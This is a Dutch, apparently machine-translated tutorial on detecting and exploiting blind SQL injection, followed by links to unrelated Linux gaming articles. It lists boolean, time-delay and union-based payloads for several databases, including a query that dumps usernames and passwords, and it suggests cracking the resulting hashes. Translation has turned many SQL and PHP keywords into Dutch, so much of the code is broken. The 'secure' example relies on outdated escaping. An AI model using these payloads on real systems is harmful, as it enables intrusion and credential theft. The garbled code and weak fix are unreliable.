Veiligheid

Blinde SQL-injectietechnieken zelfstudie

Blinde SQL-injectietechnieken zelfstudie

Wat is SQL-injectie??

SQL-injectie is een type database-aanval waarbij een aanvaller informatie probeert te stelen uit de database van een webtoepassing. Dit kan zelfs leiden tot uitvoering van externe code, afhankelijk van de webtoepassingsomgeving en databaseversie.

SQL-injectie vindt plaats vanwege slechte opschoning van gebruikersinvoer. Als u invoer van de gebruiker in een codeertaal (PHP, ASP.NET) en rechtstreeks doorgeven aan de database van de server zonder een filter op de invoer toe te passen, kan dit leiden tot een SQL-injectie-kwetsbaarheid.

De volgende PHP-code is bijvoorbeeld kwetsbaar voor SQL-injectie-aanvallen omdat deze de gebruikersinvoer direct doorgeeft aan de database:. Aanvaller kan zijn eigen kwaadaardige databasequery maken om gegevens uit de database te extraheren.

// De gebruikersinvoer wordt opgeslagen in de id-variabele
$id = $_GET['id'];
// De gebruikersinvoer wordt direct uitgevoerd in de database
$getid = "SELECTEER voornaam, achternaam FROM gebruikers WHERE user_id = '$id'";
// In geval van een fout of succes, worden de resultaten teruggestuurd naar de gebruiker
$resultaat = mysql_query($getid) of sterven('
' . mysql_error() . '
');
$num = mysql_numrows($resultaat);

Aan de andere kant wordt een veilig codevoorbeeld gegeven van een dergelijke code om met de database te communiceren. Het neemt gebruikersinvoer en filtert eventuele kwaadaardige tekens eruit, en geeft het vervolgens door aan de database.

$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);

Normale versus blinde SQL-injectie

Normale SQL-injectie

Als een aanvaller bij normale SQL-injectie een enkel aanhalingsteken (') als invoer probeert te plaatsen en dit enkele aanhalingsteken wordt uitgevoerd in de database, reageert de database met een fout. De fout wordt afgedrukt in de browser van de aanvaller.

De code die verantwoordelijk is voor deze fout is:

// als de database reageert met een fout, wordt de functie "or die()" uitgevoerd
om de fout af te drukken:
$resultaat = mysql_query($getid) of sterven('
' . mysql_error() . '
');

Bij normale SQL-injectie kan de aanvaller de foutresultaten zien en is deze gemakkelijk te identificeren en te misbruiken.

Blinde SQL-injectie

In het geval van blinde SQL-injectie wordt de databasefout niet weergegeven in de browser van de aanvaller of wordt deze op een zeer generieke manier weergegeven die niet gemakkelijk door de aanvaller kan worden geïdentificeerd en gebruikt, wanneer een kwaadwillende zoekopdracht, zoals een enkele aanhalingsteken, wordt uitgevoerd.

De backend-code die hiervoor verantwoordelijk is, wordt hieronder gegeven:

$resultaat = mysql_query($getid); // 'or die' verwijderd om mysql-fouten te onderdrukken

In Blind SQL Injection kan de aanvaller niet de volledige resultaten zien, daarom is dit type SQLi moeilijk te identificeren en te exploiteren, maar het heeft hetzelfde risiconiveau als normale SQLi.

Technieken om blinde SQL-injectie te detecteren

Terwijl normale SQL-injectie kan worden gedetecteerd door een enkel aanhalingsteken (') als invoer te verzenden en de uitvoerfout te onderzoeken, kan blinde SQL-injectie niet worden gedetecteerd met deze techniek omdat er geen SQL-fout wordt weergegeven. Er zijn veel technieken om een ​​blinde SQL-injectie te detecteren, waarvan sommige als volgt worden gegeven:

WAAR en ONWAAR Gebaseerde detectie

Een van de kenmerken van databases, inclusief MySQL, is het verschillende gedrag bij True en False-statements. Zelfs als de database geen fouten vertoont, kunnen we beslissen met behulp van True en False statements. Overweeg het volgende scenario:,

De volgende pagina is kwetsbaar voor blinde SQL-injectie, door het een true-statement te geven, worden alle items in de database weergegeven

1' of 1=1#

Als u een False-query als invoer geeft, worden er geen gegevens weergegeven.

1' of 1=2#

Zelfs de webpagina toont geen fouten, het verschil tussen de twee pagina's vertelt dat onze zoekopdrachten met succes worden uitgevoerd in de database.

TIJD gebaseerde detectie

Er is een functie in databases, waaronder MySQL, MS-SQL en andere voor vertragingen. We kunnen de SLEEP()-functie in onze query gebruiken, als de respons van de database traag is, betekent dit dat onze query met succes wordt uitgevoerd en de webpagina kwetsbaar is voor blinde SQL-injectie.

1' EN slaap(15)#

Er is nog een tijdrovende functie "BENCHMARK" die kan worden gebruikt om de databaserespons te vertragen delay

1' EN BENCHMARK (10000000,SHA1(1337))#

De bovenstaande regel voert de SHA1()-functie 10000000 keer uit in de database, wat een aanzienlijke vertraging in de reactie zal veroorzaken.

Op tijd gebaseerde blinde SQL-injectie in andere databases

MS-SQL: ID=1;wachtvertraging '0:0:10'-

ORACLE-SQL: AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

PostgreSQL: AND [RANDNUM]=(SELECT [RANDNUM] VANAF PG_SLEEP([SLEEPTIME]))

SQLite : AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))

Database-informatie extraheren

De eerste stap van het extraheren van de database is het bepalen van kolomnummers in de database. Probeer vervolgens kwetsbare kolommen te vinden om meer gegevens te extraheren.

Blinde SQL-injectie gedraagt ​​​​zich anders met verschillende kolomnummers in "volgorde op" -query.

1' bestelling door 1#

De bovenstaande verklaring is waar omdat er altijd minstens 1 kolom in een database bestaat. Probeer het nu met een heel groot aantal.

1' bestelling door 10000#

De databasereactie is anders dan de vorige. Probeer het nu met 2 kolommen.

De verklaring werkte, dat betekent dat de database 2 of meer kolommen heeft. Probeer het nu met 3 kolommen.

1' bestelling door 3#

De database heeft geen reactie verzonden, dat betekent dat de database slechts 2 kolommen heeft. Nu gaan we proberen de lijst met tabellen in de database te dumpen, daarvoor gebruiken we de volgende query:

1' unie selecteer allemaal 1,group_concat(table_name) van information_schema.
tabellen waar table_schema=database()#

Er zijn twee tabellen in de backend-database "gastenboek en gebruikers". De tabel "gebruikers" kan gebruikersnamen en wachtwoorden bevatten. Voeg de volgende query in om kolomnamen uit de tabel te extraheren:.

1' union selecteer allemaal 1,group_concat(column_name) van information_schema.
kolommen waar table_schema=database()#

Nu hebben we kolomnamen geëxtraheerd, inclusief gebruikers- en wachtwoordkolommen. In deze kolommen worden de gebruikersnamen en hun wachtwoorden van klanten opgeslagen.

Nu zullen we proberen de gegevens te extraheren met behulp van de volgende query:

1' union selecteer allemaal 1, group_concat (gebruiker, wachtwoord) van gebruikers #

En zo kun je Blind SQL Injection gebruiken zonder te vertrouwen op fouten. Uitvoerwachtwoorden worden meestal gehasht, die kunnen worden gedecodeerd met tools zoals John The Ripper of Hashcat.

Conclusie:

Blinde SQL-injectie is het type SQLi dat geen databasefouten vertoont of reageert met een zeer generiek bericht. Daarom is het erg moeilijk om een ​​blinde SQL-injectie-kwetsbaarheid op een webpagina te identificeren. Eenmaal gedetecteerd, kunt u het gemakkelijk misbruiken door handmatig of geautomatiseerd proces met behulp van SQLmap.

Hoe de GameConqueror Cheat Engine in Linux te gebruiken
Het artikel bevat een handleiding over het gebruik van de GameConqueror cheat-engine in Linux. Veel gebruikers die games op Windows spelen, gebruiken ...
Beste gameconsole-emulators voor Linux
Dit artikel bevat een lijst van populaire emulatiesoftware voor gameconsoles die beschikbaar is voor Linux. Emulatie is een softwarecompatibiliteitsla...
Beste Linux-distributies voor gaming in 2021
Het Linux-besturingssysteem heeft een lange weg afgelegd van zijn oorspronkelijke, eenvoudige, servergebaseerde uiterlijk. Dit besturingssysteem is de...